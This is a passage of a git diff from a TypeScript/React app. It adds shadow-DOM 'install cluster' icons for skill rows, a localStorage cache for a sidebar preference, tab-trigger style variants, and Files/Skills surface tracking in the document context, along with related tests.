+ installLabel: 'Install',
+ version: 'light',
+ });
+ const cluster = shadow.querySelector<HTMLElement>('[data-ok-install-cluster]');
+ expect(cluster).not.toBeNull();
+ // A native title would be the regression: invisible on an unfocused window.
+ expect(cluster?.getAttribute('title')).toBeNull();
+ expect(cluster?.getAttribute('data-ok-cluster-hint')).toBe(decor.title);
+ // Still announced — the hint is the only place the marks are named.
+ expect(cluster?.getAttribute('aria-label')).toBe(decor.title);
+ });
+
+ test('a cluster renders no tooltip of its own', () => {
+ const { shadow } = buildTree();
+ applyInstallClusters(shadow, {
+ decorFor: () => decor as never,
+ iconPool: null,
+ installLabel: 'Install',
+ version: 'light',
+ });
+ shadow
+ .querySelector<HTMLElement>('[data-ok-install-cluster]')
+ ?.dispatchEvent(new Event('pointerover', { bubbles: true }));
+ // The row's own native tooltip is the single explanation for every row in
+ // this tree; a second bubble on the marks read as a rendering glitch.
+ expect(document.querySelector('[role="tooltip"]')).toBeNull();
+ expect(shadow.querySelector('[role="tooltip"]')).toBeNull();
+ });
+});
diff --git a/packages/app/src/components/skill-install-cluster.ts b/packages/app/src/components/skill-install-cluster.ts
new file mode 100644
index 000000000..63e360547
--- /dev/null
+++ b/packages/app/src/components/skill-install-cluster.ts
@@ -0,0 +1,216 @@
+/**
+ * Imperative shadow-DOM injection that draws each skill row's install state as a
+ * cluster of agent brand icons (installed / detected) or an "Install" pill
+ * (uninstalled), replacing the old install-state TEXT badge. Runs from a
+ * `MutationObserver` on Pierre's shadow root — the same pattern as
+ * `applyExtensionBadges` (see `file-tree-extension-badge.ts`).
+ *
+ * Why imperative + cloned nodes, not React: Pierre renders rows inside a
+ * STYLE-ISOLATED shadow root — Tailwind/shadcn classes don't cross the boundary,
+ * so a React `<TargetIcon>` rendered here would lose its brand color. Instead the
+ * caller keeps a hidden light-DOM pool of `<TargetIcon>`s (real brand colors +
+ * theme, computed by React) and we CLONE the rendered `<svg>` into each row. The
+ * cloned node keeps its inline `--ok-brand-color`; {@link SKILL_INSTALL_CLUSTER_CSS}
+ * (injected via Pierre's unsafe-CSS channel) re-applies that var as `color` inside
+ * the shadow root. Monochrome brands (OpenCode/Pi) have no var and inherit the
+ * row's text color, which is the intended treatment.
+ *
+ * Mutation-loop avoidance: each row's cluster carries a content KEY; we rebuild
+ * only when the key changes, so our own writes don't re-trigger the host observer
+ * into an infinite loop. Pierre re-renders overwrite our injections; the observer
+ * re-applies them on the next tick.
+ */
+
+import { AGENT_CLUSTER_MAX } from '@/components/AgentIconCluster';
+
+const CLUSTER_ATTR = 'data-ok-install-cluster';
+const KEY_ATTR = 'data-ok-cluster-key';
+const PILL_ATTR = 'data-ok-install-pill';
+const PILL_PATH_ATTR = 'data-ok-install-path';
+const POOL_KEY_ATTR = 'data-ok-host-pool-key';
+/** The marks' description, mirrored onto `aria-label`. Deliberately NOT a native
+ * `title`: the row already owns the tooltip that explains where a skill lives,
+ * and a second bubble on the marks read as a rendering glitch. */
+const HINT_ATTR = 'data-ok-cluster-hint';
+
+/**
+ * Styles for the injected cluster + pill, passed through Pierre's `unsafeCSS`
+ * (Tailwind can't reach the shadow root). `--ok-brand-color` is set inline on
+ * each cloned brand `<svg>` by `TargetIcon`; re-applying it as `color` here is
+ * what restores the brand color after the clone crosses the shadow boundary.
+ */
+export const SKILL_INSTALL_CLUSTER_CSS = `
+ [${CLUSTER_ATTR}] {
+ display: inline-flex;
+ align-items: center;
+ gap: 0.25rem;
+ margin-left: 0.375rem;
+ margin-right: 0.25rem;
+ align-self: center;
+ flex-shrink: 0;
+ }
+ [${CLUSTER_ATTR}] svg {
+ width: 0.875rem;
+ height: 0.875rem;
+ /* Colored brands carry an inline --ok-brand-color; monochrome brands
+ (OpenCode/Pi/generic) have none and must fall back to a NEUTRAL foreground,
+ not inherit the row's (sometimes blue) currentColor. */
+ color: var(--ok-brand-color, var(--muted-foreground));
+ }
+ [${CLUSTER_ATTR}] [data-ok-install-overflow] {
+ font-size: 0.6875rem;
+ color: color-mix(in oklab, var(--muted-foreground) 80%, transparent);
+ }
+ [${PILL_ATTR}] {
+ display: inline-flex;
+ align-items: center;
+ font-size: 0.6875rem;
+ text-transform: uppercase;
+ letter-spacing: 0.02em;
+ padding: 0.05rem 0.4rem;
+ border-radius: 0.375rem;
+ border: 1px solid color-mix(in oklab, var(--muted-foreground) 35%, transparent);
+ color: color-mix(in oklab, var(--muted-foreground) 90%, transparent);
+ background: transparent;
+ cursor: pointer;
+ line-height: 1.3;
+ }
+ [${PILL_ATTR}]:hover {
+ color: var(--foreground);
+ border-color: color-mix(in oklab, var(--foreground) 55%, transparent);
+ }
+`;
+
+/** Row install state, resolved per tree path by the caller. `null` → no cluster
+ * (built-in rows keep their native lock icon; non-skill rows get nothing). */
+export type RowInstallDecor =
+ | { readonly kind: 'icons'; readonly poolKeys: readonly string[]; readonly title: string }
+ | { readonly kind: 'install'; readonly title: string }
+ | null;
+
+export interface InstallClusterOptions {
+ /** Resolve a row's tree path to its install decoration. */
+ readonly decorFor: (treePath: string) => RowInstallDecor;
+ /** Hidden light-DOM pool of `<TargetIcon>`s to clone brand `<svg>`s from,
+ * each under `[data-ok-host-pool-key="<id>"]`. */
+ readonly iconPool: HTMLElement | null;
+ /** Localized "Install" label for the uninstalled pill. */
+ readonly installLabel: string;
+ /** Bumped whenever the pool re-renders (theme change) so stale clones rebuild. */
+ readonly version: string;
+}
+
+/** The Install pill a click landed on: its skill tree path + screen rect (to
+ * anchor the install menu), or null when the click wasn't on a pill. */
+export function installPillFromEvent(
+ target: EventTarget | null,
+): { path: string; rect: DOMRect } | null {
+ if (!(target instanceof Element)) return null;
+ const pill = target.closest(`[${PILL_ATTR}]`);
+ const path = pill?.getAttribute(PILL_PATH_ATTR);
+ if (!pill || !path) return null;
+ return { path, rect: pill.getBoundingClientRect() };
+}
+
+/**
+ * Inject/refresh install clusters across every row under `root`. Idempotent —
+ * a row whose content key is unchanged is skipped. Safe to call from a
+ * `MutationObserver` and on first paint.
+ */
+export function applyInstallClusters(root: ParentNode, opts: InstallClusterOptions): void {
+ for (const row of root.querySelectorAll<HTMLElement>('[data-type="item"][data-item-path]')) {
+ const treePath = row.dataset.itemPath;
+ if (!treePath) {
+ removeCluster(row);
+ continue;
+ }
+ const decor = opts.decorFor(treePath);
+ if (!decor) {
+ removeCluster(row);
+ continue;
+ }
+ upsertCluster(row, treePath, decor, opts);
+ }
+}
+
+function removeCluster(row: HTMLElement): void {
+ row.querySelector(`[${CLUSTER_ATTR}]`)?.remove();
+}
+
+function clusterKey(decor: NonNullable<RowInstallDecor>, version: string): string {
+ return decor.kind === 'install'
+ ? `install|${version}`
+ : `icons|${decor.poolKeys.join(',')}|${version}`;
+}
+
+function upsertCluster(
+ row: HTMLElement,
+ treePath: string,
+ decor: NonNullable<RowInstallDecor>,
+ opts: InstallClusterOptions,
+): void {
+ const key = clusterKey(decor, opts.version);
+ const existing = row.querySelector<HTMLElement>(`[${CLUSTER_ATTR}]`);
+ if (existing?.getAttribute(KEY_ATTR) === key) {
+ // Cheap refresh: the pill's path can change if a row is reused for a
+ // different skill while the key (kind+version) matches — keep it in sync.
+ if (decor.kind === 'install') existing.setAttribute(PILL_PATH_ATTR, treePath);
+ existing.setAttribute(HINT_ATTR, decor.title);
+ existing.setAttribute('aria-label', decor.title);
+ return;
+ }
+
+ const doc = row.ownerDocument;
+ const container = existing ?? doc.createElement('span');
+ container.setAttribute(CLUSTER_ATTR, '');
+ container.setAttribute(KEY_ATTR, key);
+ container.setAttribute(HINT_ATTR, decor.title);
+ // `aria-label` on a bare span (role=generic) is ignored by assistive tech, so
+ // the row's only install-state disclosure was silently invisible. `role="img"`
+ // makes the label the element's accessible name; the children are aria-hidden.
+ container.setAttribute('role', 'img');
+ container.setAttribute('aria-label', decor.title);
+ container.replaceChildren();
+
+ if (decor.kind === 'install') {
+ const pill = doc.createElement('button');
+ pill.type = 'button';
+ pill.setAttribute(PILL_ATTR, '');
+ pill.setAttribute(PILL_PATH_ATTR, treePath);
+ pill.setAttribute('aria-label', decor.title);
+ pill.textContent = opts.installLabel;
+ container.appendChild(pill);
+ } else {
+ const shown = decor.poolKeys.slice(0, AGENT_CLUSTER_MAX);
+ for (const poolKey of shown) {
+ const svg = opts.iconPool
+ ?.querySelector(`[${POOL_KEY_ATTR}="${poolKey}"] svg`)
+ ?.cloneNode(true);
+ if (svg instanceof SVGElement) {
+ // Strip the brand icon's own `<title>`/aria-label ("Cursor icon"), else it
+ // shows as a per-icon tooltip that shadows the cluster's real "Installed
+ // in …" title on hover. The whole cluster carries that title instead.
+ svg.querySelector('title')?.remove();
+ svg.removeAttribute('aria-label');
+ svg.setAttribute('aria-hidden', 'true');
+ container.appendChild(svg);
+ }
+ }
+ const overflow = decor.poolKeys.length - shown.length;
+ if (overflow > 0) {
+ const more = doc.createElement('span');
+ more.setAttribute('data-ok-install-overflow', '');
+ more.textContent = `+${overflow}`;
+ container.appendChild(more);
+ }
+ }
+
+ if (!existing) {
+ const actionSection = row.querySelector('[data-item-section="action"]');
+ if (actionSection) actionSection.before(container);
+ else row.appendChild(container);
+ }
+}
+
+/** Pool key for the `[data-ok-host-pool-key]` slot to use for the pool render. */
+export const HOST_POOL_KEY_ATTR: string = POOL_KEY_ATTR;
diff --git a/packages/app/src/components/skills-section-visible-cache.ts b/packages/app/src/components/skills-section-visible-cache.ts
new file mode 100644
index 000000000..5992cccb8
--- /dev/null
+++ b/packages/app/src/components/skills-section-visible-cache.ts
@@ -0,0 +1,61 @@
+/**
+ * First-paint cache for the sidebar's "Skills section visible" preference.
+ *
+ * The authoritative value lives in the project config CRDT (`merged.appearance
+ * .sidebar.showSkillsSection`), which is `undefined` until the config doc syncs
+ * after a reload. Falling back to `?? true` during that window flashes the
+ * Files/Skills switcher for anyone who has the section turned OFF: it mounts on
+ * first paint, then unmounts once the config loads `false`.
+ *
+ * This localStorage mirror lets the initial render use the last known value so
+ * there is no flash. It is written ONLY when the config carries an explicit
+ * value, so default users (config value `undefined`) never store anything and
+ * keep the `?? true` default — they never flashed anyway.
+ */
+const STORAGE_KEY = 'ok-skills-section-visible-v1';
+
+function storage(): Pick<Storage, 'getItem' | 'setItem' | 'removeItem'> | null {
+ if (typeof window === 'undefined') return null;
+ try {
+ return window.localStorage;
+ } catch {
+ return null;
+ }
+}
+
+// undefined = not yet loaded from storage; null = no stored value.
+let cached: boolean | null | undefined;
+
+/** Last explicitly-stored value, or null if the user never set the preference. */
+export function readCachedSkillsSectionVisible(): boolean | null {
+ if (cached === undefined) {
+ const raw = storage()?.getItem(STORAGE_KEY) ?? null;
+ cached = raw === 'true' ? true : raw === 'false' ? false : null;
+ }
+ return cached;
+}
+
+export function writeCachedSkillsSectionVisible(visible: boolean): void {
+ if (cached === visible) return;
+ cached = visible;
+ try {
+ storage()?.setItem(STORAGE_KEY, visible ? 'true' : 'false');
+ } catch {
+ // quota / privacy mode — in-memory `cached` still serves this session.
+ }
+}
+
+/**
+ * Test-only: reset to the never-set state. Clears the stored mirror as well as
+ * the in-memory snapshot — dropping the snapshot alone just makes the next read
+ * reload whatever a previous test wrote, so the preference still leaks across
+ * tests in the same worker.
+ */
+export function __resetSkillsSectionVisibleCacheForTests(): void {
+ cached = undefined;
+ try {
+ storage()?.removeItem(STORAGE_KEY);
+ } catch {
+ // no storage in this environment — the in-memory reset above is enough.
+ }
+}
diff --git a/packages/app/src/components/target-navigation-intent.test.ts b/packages/app/src/components/target-navigation-intent.test.ts
index ac0a78d65..2d7f18f90 100644
--- a/packages/app/src/components/target-navigation-intent.test.ts
+++ b/packages/app/src/components/target-navigation-intent.test.ts
@@ -111,25 +111,24 @@ describe('resolveTargetNavigationIntent', () => {
});
});
- test('a GLOBAL skill bundle reference node carries the skill-file viewer hash', () => {
- // The graph click path uses `intent.hash` when present so the node routes to
- // the read-only skill-file viewer (`#/__skill-file__/…`) instead of wrapping
- // its synthetic docName as a `#/<doc>` hash (which would open a phantom tab).
+ test('a GLOBAL skill bundle reference node routes to its editable doc', () => {
+ // Global skill references are editable managed-artifact docs, so the graph
+ // click path routes to the editable doc (`kind: 'doc'`, no viewer hash)
+ // rather than the read-only skill-file viewer. It still resolves to a real
+ // openable target, not a phantom `#/<doc>` tab.
expect(
resolveTargetNavigationIntent('__skill__/global/demo/references/notes', {
pages: new Set(),
}),
).toEqual({
resolvedTarget: {
- kind: 'skill-file',
- target: 'global/demo/references/notes.md',
- scope: 'global',
- name: 'demo',
- path: 'references/notes.md',
+ kind: 'doc',
+ docName: '__skill__/global/demo/references/notes',
+ target: '__skill__/global/demo/references/notes',
},
- hashDocName: 'global/demo/references/notes.md',
- hash: '#/__skill-file__/global/demo/references/notes.md',
- // Resolves to a real openable viewer, so it renders as a resolved node
+ hashDocName: '__skill__/global/demo/references/notes',
+ hash: null,
+ // Resolves to a real openable doc, so it renders as a resolved node
// (not the dashed-red "missing" treatment).
displayState: 'doc',
});
diff --git a/packages/app/src/components/target-navigation-intent.ts b/packages/app/src/components/target-navigation-intent.ts
index 87f223c40..9c001dcc5 100644
--- a/packages/app/src/components/target-navigation-intent.ts
+++ b/packages/app/src/components/target-navigation-intent.ts
@@ -1,5 +1,9 @@
import { hashFromSkillFile } from '@/lib/doc-hash';
-import { type ResolvedNavigationTarget, resolveNavigationTarget } from './navigation-targets';
+import {
+ type ResolvedContentTarget,
+ type ResolvedNavigationTarget,
+ resolveNavigationTarget,
+} from './navigation-targets';
type TargetDisplayState = 'doc' | 'folder' | 'missing';
@@ -17,7 +21,7 @@ interface TargetNavigationIntent {
displayState: TargetDisplayState;
}
-function getTargetDisplayState(resolvedTarget: ResolvedNavigationTarget): TargetDisplayState {
+function getTargetDisplayState(resolvedTarget: ResolvedContentTarget): TargetDisplayState {
switch (resolvedTarget.kind) {
case 'doc':
case 'large-file':
@@ -56,6 +60,7 @@ export function resolveTargetNavigationIntent(
scope: resolvedTarget.scope,
name: resolvedTarget.name,
path: resolvedTarget.path,
+ ...(resolvedTarget.host ? { host: resolvedTarget.host } : {}),
})
: null,
displayState: getTargetDisplayState(resolvedTarget),
diff --git a/packages/app/src/components/ui/tabs.tsx b/packages/app/src/components/ui/tabs.tsx
index 3596d6602..e82ac85d8 100644
--- a/packages/app/src/components/ui/tabs.tsx
+++ b/packages/app/src/components/ui/tabs.tsx
@@ -49,17 +49,35 @@ function TabsList({
);
}
-function TabsTrigger({ className, ...props }: React.ComponentProps<typeof TabsPrimitive.Trigger>) {
+const tabsTriggerVariants = cva(
+ "relative inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center gap-1.5 rounded-md border border-transparent px-1.5 py-0.5 text-sm font-medium whitespace-nowrap text-foreground/60 transition-all group-data-vertical/tabs:w-full group-data-vertical/tabs:justify-start hover:text-foreground focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 focus-visible:outline-1 focus-visible:outline-ring disabled:pointer-events-none disabled:opacity-50 has-data-[icon=inline-end]:pr-1 has-data-[icon=inline-start]:pl-1 dark:text-muted-foreground dark:hover:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+ {
+ variants: {
+ variant: {
+ default: cn(
+ 'group-data-[variant=default]/tabs-list:data-active:shadow-sm group-data-[variant=line]/tabs-list:data-active:shadow-none',
+ 'group-data-[variant=line]/tabs-list:bg-transparent group-data-[variant=line]/tabs-list:data-active:bg-transparent dark:group-data-[variant=line]/tabs-list:data-active:border-transparent dark:group-data-[variant=line]/tabs-list:data-active:bg-transparent',
+ 'data-active:bg-background data-active:text-foreground dark:data-active:border-input dark:data-active:bg-input/30 dark:data-active:text-foreground',
+ 'after:absolute after:bg-foreground after:opacity-0 after:transition-opacity group-data-horizontal/tabs:after:inset-x-0 group-data-horizontal/tabs:after:bottom-[-5px] group-data-horizontal/tabs:after:h-0.5 group-data-vertical/tabs:after:inset-y-0 group-data-vertical/tabs:after:-right-1 group-data-vertical/tabs:after:w-0.5 group-data-[variant=line]/tabs-list:data-active:after:opacity-100',
+ ),
+ line: '-mb-px h-full flex-none rounded-none border-0 border-b-2 border-transparent bg-transparent data-active:border-b-primary data-active:bg-transparent data-active:text-primary data-active:shadow-none data-active:hover:text-primary dark:data-active:border-b-primary dark:data-active:bg-transparent dark:data-active:text-primary dark:data-active:hover:text-primary',
+ },
+ },
+ defaultVariants: {
+ variant: 'default',
+ },
+ },
+);
+
+function TabsTrigger({
+ className,
+ variant,
+ ...props
+}: React.ComponentProps<typeof TabsPrimitive.Trigger> & VariantProps<typeof tabsTriggerVariants>) {
return (
<TabsPrimitive.Trigger
data-slot="tabs-trigger"
- className={cn(
- "relative inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center gap-1.5 rounded-md border border-transparent px-1.5 py-0.5 text-sm font-medium whitespace-nowrap text-foreground/60 transition-all group-data-vertical/tabs:w-full group-data-vertical/tabs:justify-start hover:text-foreground focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 focus-visible:outline-1 focus-visible:outline-ring disabled:pointer-events-none disabled:opacity-50 has-data-[icon=inline-end]:pr-1 has-data-[icon=inline-start]:pl-1 dark:text-muted-foreground dark:hover:text-foreground group-data-[variant=default]/tabs-list:data-active:shadow-sm group-data-[variant=line]/tabs-list:data-active:shadow-none [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
- 'group-data-[variant=line]/tabs-list:bg-transparent group-data-[variant=line]/tabs-list:data-active:bg-transparent dark:group-data-[variant=line]/tabs-list:data-active:border-transparent dark:group-data-[variant=line]/tabs-list:data-active:bg-transparent',
- 'data-active:bg-background data-active:text-foreground dark:data-active:border-input dark:data-active:bg-input/30 dark:data-active:text-foreground',
- 'after:absolute after:bg-foreground after:opacity-0 after:transition-opacity group-data-horizontal/tabs:after:inset-x-0 group-data-horizontal/tabs:after:bottom-[-5px] group-data-horizontal/tabs:after:h-0.5 group-data-vertical/tabs:after:inset-y-0 group-data-vertical/tabs:after:-right-1 group-data-vertical/tabs:after:w-0.5 group-data-[variant=line]/tabs-list:data-active:after:opacity-100',
- className,
- )}
+ className={cn(tabsTriggerVariants({ variant }), className)}
{...props}
/>
);
@@ -75,4 +93,4 @@ function TabsContent({ className, ...props }: React.ComponentProps<typeof TabsPr
);
}
-export { Tabs, TabsContent, TabsList, TabsTrigger, tabsListVariants };
+export { Tabs, TabsContent, TabsList, TabsTrigger, tabsListVariants, tabsTriggerVariants };
diff --git a/packages/app/src/editor/DocumentContext.tsx b/packages/app/src/editor/DocumentContext.tsx
index 440963b66..bbd28a83b 100644
--- a/packages/app/src/editor/DocumentContext.tsx
+++ b/packages/app/src/editor/DocumentContext.tsx
@@ -6,7 +6,7 @@ import {
} from '@inkeep/open-knowledge-core';
import { createContext, type ReactNode, use, useEffect, useRef, useState } from 'react';
import type { ResolvedNavigationTarget } from '@/components/navigation-targets';
-import { docNameForNavigationTarget } from '@/components/navigation-targets';
+import { docNameForNavigationTarget, isSkillFocusedTarget } from '@/components/navigation-targets';
import { consumePrewarmClick } from '@/components/prewarm-correlation';
import {
assetPathFromHash,
@@ -15,7 +15,11 @@ import {
hashFromDocName,
hashFromFolderPath,
hashFromSkillFile,
+ hashFromSkillPreview,
+ hashFromSkills,
+ selectedPathForSkillPreview,
skillFileFromHash,
+ skillPreviewFromHash,
} from '@/lib/doc-hash';
import { emitBranchChanged, emitDocumentsChanged } from '@/lib/documents-events';
import { subscribeLocalMenuAction } from '@/lib/local-menu-action-bus';
@@ -42,6 +46,7 @@ import {
filterClosableTabIds,
filterOpenTabsForKnownTargets,
folderTabId,
+ isSkillTabId,
localTabSessionStorageKey,
nextActiveTabAfterClose,
nextActiveTabAfterCloseMany,
@@ -56,7 +61,9 @@ import {
remapVisibleTabsForRename,
removeOpenTab,
removePinnedTab,
+ shouldPersistTabSession,
skillFileTabId,
+ skillPreviewTabId,
tabIdForNavigationTarget,
writeLocalTabSessionState,
} from './editor-tabs';
@@ -182,6 +189,21 @@ interface DocumentContextValue {
activeNewTabId: string | null;
/** True when the active editor surface is the empty "New tab" placeholder. */
isNewTabActive: boolean;
+ /**
+ * Explicit Files/Skills surface pin. `null` = autofollow the active doc's
+ * surface (the default); `true`/`false` = an explicit toggle. The pin only
+ * survives until the next navigation — `commitActiveTabId` re-arms it to
+ * `null` — so autofollow keeps working after a toggle. Not persisted. Prefer
+ * reading `skillFocused` (the resolved surface); this is the raw override.
+ */
+ skillsSidebar: boolean | null;
+ setSkillsSidebar: (on: boolean | null) => void;
+ /**
+ * The resolved active surface: `skillsSidebar ?? (active doc/new-tab is a
+ * skill)`. Drives BOTH the sidebar navigator and the editor tab-strip mode
+ * filter, so the two never disagree. `true` = Skills, `false` = Files.
+ */
+ skillFocused: boolean;
/** Open an empty tab placeholder that the next sidebar document click can fill. */
openNewTab: () => void;
/** Activate an existing empty tab placeholder. */
@@ -455,6 +477,25 @@ function readInitialLocalActiveTabId(): string | null {
);
}
+// New tabs are ephemeral placeholders (never persisted) keyed only by identity,
+// so their id doubles as the surface tag: a skills-mode new tab carries the
+// `skills:` infix, and its empty state renders the Skills home instead of the
+// Files "Create something great" one.
+const NEW_TAB_PREFIX = 'new-tab:';
+const SKILLS_NEW_TAB_PREFIX = 'new-tab:skills:';
+export function isSkillsNewTabId(id: string | null | undefined): boolean {
+ return id?.startsWith(SKILLS_NEW_TAB_PREFIX) ?? false;
+}
+
+/**
+ * Which surface a visible tab id belongs to (Skills vs Files) — covers both real
+ * open tabs (`isSkillTabId`) and ephemeral new-tab placeholders (`isSkillsNewTabId`).
+ * Drives the mode filter that shows one surface's tabs at a time.
+ */
+function tabIdIsSkillSurface(id: string): boolean {
+ return isSkillsNewTabId(id) || isSkillTabId(id);
+}
+
function hashFromTabId(tabId: string): string {
const tab = parseEditorTabId(tabId);
switch (tab.kind) {
@@ -466,6 +507,15 @@ function hashFromTabId(tabId: string): string {
return hashFromAssetPath(tab.assetPath);
case 'skill-file':
return hashFromSkillFile({ scope: tab.scope, name: tab.name, path: tab.path });
+ case 'skills':
+ return hashFromSkills();
+ case 'skill-preview':
+ return hashFromSkillPreview({
+ flavor: tab.flavor,
+ source: tab.source,
+ name: tab.name,
+ subtitle: tab.subtitle,
+ });
}
}
@@ -485,6 +535,8 @@ function tabIdFromHash(hash: string): string | null {
if (assetPath) return assetTabId(assetPath);
const skillFile = skillFileFromHash(hash);
if (skillFile) return skillFileTabId(skillFile);
+ const skillPreview = skillPreviewFromHash(hash);
+ if (skillPreview) return skillPreviewTabId(skillPreview);
const docName = docNameFromHash(hash);
if (!docName) return null;
const trimmed = docName.trim();
@@ -551,6 +603,13 @@ function navigationTargetKey(target: ResolvedNavigationTarget): string {
return `asset:${target.assetPath}:${target.mediaKind ?? ''}`;
case 'skill-file':
return `skill-file:${target.scope}:${target.name}:${target.path}`;
+ case 'skills':
+ return 'skills:hub';
+ case 'skill-preview':
+ // `path` is part of the key so selecting a different file within the SAME
+ // preview updates the active target (the tab id stays path-less, so it is
+ // one tab whose body switches — not a new tab).
+ return `skill-preview:${target.flavor}:${target.source}:${target.name}:${target.subtitle}:${target.path ?? ''}`;
case 'large-file':
return `large-file:${target.docName}:${target.size}:${target.limit}`;
case 'missing':
@@ -639,6 +698,14 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
const [newTabIds, setNewTabIds] = useState<string[]>([]);
const [visibleTabIds, setVisibleTabIds] = useState<string[]>(openTabs);
const [activeNewTabId, setActiveNewTabId] = useState<string | null>(null);
+ const [skillsSidebar, setSkillsSidebarState] = useState<boolean | null>(null);
+ // Per-surface active-tab memory: switching Files/Skills restores the tab you
+ // last had active in that surface (or clears to its empty/home state). Kept in
+ // a ref — it's read imperatively on toggle, never rendered.
+ const activeTabByModeRef = useRef<{ files: string | null; skills: string | null }>({
+ files: null,
+ skills: null,
+ });
const [tabSessionLoaded, setTabSessionLoaded] = useState(false);
const activeTargetRef = useRef<ResolvedNavigationTarget | null>(activeTarget);
const activeTabIdRef = useRef<string | null>(activeTabId);
@@ -650,6 +717,10 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
const nextNewTabOrdinalRef = useRef(1);
const recentlyClosedTabsRef = useRef<string[]>([]);
const tabSessionUserClosedRef = useRef(false);
+ // Only true once a session read RESOLVES this mount. Guards the persist
+ // effect below so a failed restore never overwrites the stored session with
+ // our empty in-memory state (a rejected read leaves it false → no write).
+ const restoreSucceededRef = useRef(false);
const [tabIdentityResolved, setTabIdentityResolved] = useState(false);
const [principal, setPrincipal] = useState<Principal | null>(null);
const [systemProvider, setSystemProvider] = useState<HocuspocusProvider | null>(null);
@@ -664,8 +735,20 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
} = useCollabUrl();
function commitActiveTabId(nextActiveTabId: string | null) {
+ const previousActiveTabId = activeTabIdRef.current;
activeTabIdRef.current = nextActiveTabId;
setActiveTabId(nextActiveTabId);
+ // Opening a DIFFERENT tab re-arms autofollow so the sidebar surface tracks
+ // the opened doc's mode (an explicit Files/Skills pin only survives until the
+ // next real navigation). Two things must NOT re-arm, or an explicit pin dies:
+ // - Clears (null) — the toggle's empty-surface path pins then clears.
+ // - Re-activating the SAME tab — a server-driven provider reset (e.g. the
+ // auth rejection when the open skill doc is deleted) re-fires a hashchange
+ // for the same doc; re-arming there drops the delete-time Skills pin, and
+ // once the skill target clears autofollow falls back to Files.
+ if (nextActiveTabId !== null && nextActiveTabId !== previousActiveTabId) {
+ setSkillsSidebarState(null);
+ }
}
function commitActiveNewTabId(nextActiveNewTabId: string | null) {
@@ -807,8 +890,13 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
let nextActiveTabId: string | null = null;
const currentActiveTabId =
activeTabId ?? activeTabIdForTarget(activeTarget, snapshot.activeDocName);
+ // Keep the successor on the active tab's SURFACE (Files vs Skills): closing
+ // the last skill tab must not teleport focus to a Files tab (and vice
+ // versa) — the surface's empty/home state should show instead.
+ const activeIsSkill = currentActiveTabId ? tabIdIsSkillSurface(currentActiveTabId) : false;
updateOpenTabs((current) => {
- nextActiveTabId = nextActiveTabAfterCloseMany(current, currentActiveTabId, closingTabIds);
+ const sameSurface = current.filter((id) => tabIdIsSkillSurface(id) === activeIsSkill);
+ nextActiveTabId = nextActiveTabAfterCloseMany(sameSurface, currentActiveTabId, closingTabIds);
return current.filter((tabId) => !closingTabIds.has(tabId));
});
if (!currentActiveTabId || !closingTabIds.has(currentActiveTabId)) {
@@ -826,6 +914,8 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
setLocationHash(hashFromTabId(nextActiveTabId));
return;
}
+ // No tab left on this surface → pin it so its empty/home state shows.
+ setSkillsSidebarState(activeIsSkill);
if (collabUrl !== null) getPool(collabUrl).clearActive();
setActiveTarget(null);
commitActiveTabId(null);
@@ -945,6 +1035,34 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
const isNewTabActive = activeNewTabId !== null;
+ // The active sidebar/tab surface. An explicit pin (`skillsSidebar`
+ // true/false) wins; the default `null` follows whichever surface the open doc
+ // / new tab belongs to. Single source for the sidebar AND the editor-tab
+ // strip's mode filter, so the two never disagree.
+ //
+ // Both trees pin as they open, so clicking a row keeps you where you are —
+ // a skill's file opened from Files stays in Files, and the reverse. Autofollow
+ // is therefore the rule for navigation that carries no surface intent of its
+ // own: a deep link, the command palette, session restore.
+ const skillFocused =
+ skillsSidebar ?? (isSkillFocusedTarget(activeTarget) || isSkillsNewTabId(activeNewTabId));
+
+ // Remember the active tab per surface so a Files↔Skills toggle can restore it.
+ // Runs on every activeTabId change (incl. session restore) so both surfaces
+ // stay current even before the first toggle.
+ useEffect(() => {
+ if (!activeTabId) return;
+ const mode = isSkillTabId(activeTabId) ? 'skills' : 'files';
+ activeTabByModeRef.current[mode] = activeTabId;
+ }, [activeTabId]);
+
+ // Show only the current surface's tabs. Filtering here (not in EditorTabs)
+ // keeps the strip, keyboard cycle/jump, and drag-reorder all consistent;
+ // reorderTabs' backstop re-adds any hidden-surface tab, so none are dropped.
+ const visibleTabIdsForMode = visibleTabIds.filter(
+ (id) => tabIdIsSkillSurface(id) === skillFocused,
+ );
+
useEffect(() => {
if (collabUrl === null || tabSessionLoaded || !tabIdentityResolved) return;
let cancelled = false;
@@ -967,6 +1085,7 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
loaded
.then((raw) => {
+ restoreSucceededRef.current = true;
if (cancelled) return;
const state = parseEditorTabSessionState(raw, MAX_POOL);
if (tabSessionUserClosedRef.current) return;
@@ -983,6 +1102,14 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
const normalizedPinnedTabIds = normalizePinnedTabIds(mergedPinnedTabIds, nextTabs);
openTabsRef.current = nextTabs;
pinnedTabIdsRef.current = normalizedPinnedTabIds;
+ // Restore each surface's last-active tab, but only fill slots not already
+ // set by a tab opened during the async restore window (additive, matching
+ // the openTabs merge above). Persisted ids were validated against the
+ // saved openTabs, a subset of nextTabs, so they remain valid here.
+ activeTabByModeRef.current = {
+ files: activeTabByModeRef.current.files ?? state.activeTabByMode.files,
+ skills: activeTabByModeRef.current.skills ?? state.activeTabByMode.skills,
+ };
setOpenTabs((current) => (sameTabIds(current, nextTabs) ? current : nextTabs));
setPinnedTabIds((current) =>
sameTabIds(current, normalizedPinnedTabIds) ? current : normalizedPinnedTabIds,
@@ -1037,10 +1164,12 @@ export function DocumentProvider({ children }: { children: ReactNode }) {
useEffect(() => {
if (!tabSessionLoaded) return;
+ if (!shouldPersistTabSession(restoreSucceededRef.current, openTabs.length)) return;
const state = createEditorTabSessionState(
openTabs,
activeTabId ?? activeTabIdForTarget(activeTarget, snapshot.activeDocName),
pinnedTabIds,
+ activeTabByModeRef.current,
);
